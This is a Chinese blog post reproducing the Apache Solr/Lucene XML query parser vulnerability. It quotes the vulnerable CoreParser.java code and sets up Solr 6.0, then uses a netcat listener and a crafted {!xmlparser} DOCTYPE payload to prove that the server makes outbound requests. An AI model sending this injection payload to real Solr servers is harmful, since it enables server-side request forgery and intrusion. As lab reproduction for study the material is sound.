1. 程式人生 > >Apache Solr/Lucene 0Day遠端程式碼執行漏洞復現

Apache Solr/Lucene 0Day遠端程式碼執行漏洞復現

最近發現網路上Apache Solr/Lucene 存在遠端程式碼執行漏洞,現進行復現。

1.存在位置

根據漏洞詳細報告,在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java

static Document parseXML(InputStream pXmlFile) throws ParserException {
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = null
; try { db = dbf.newDocumentBuilder(); } catch (Exception se) { throw new ParserException("XML Parser configuration error", se); } org.w3c.dom.Document doc = null; try { doc = db.parse(pXmlFile); }

可以呼叫xmlparser直譯器訪問遠端url資料,攻擊者可以利用其執行任意程式碼。

2.環境搭建

實驗使用:
- Apache Solr 6.0(之前嘗試6.6版本未成功)
- Windows 7

1.下載solr

2.啟動solr

cd bin
solr start

3. 新建core(命名為“test”)

solr stop -all
solr -e test

成功後進入

我們在core admin中就可以看到建立的test

3.漏洞復現

1.啟動nc 監聽4444埠

nc -lvp 4444

2.訪問

http://localhost:8983/solr/test/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:4444/executed">
<a></a>'}

3.nc中可以看到solr訪問4444埠即證明漏洞存在

這裡寫圖片描述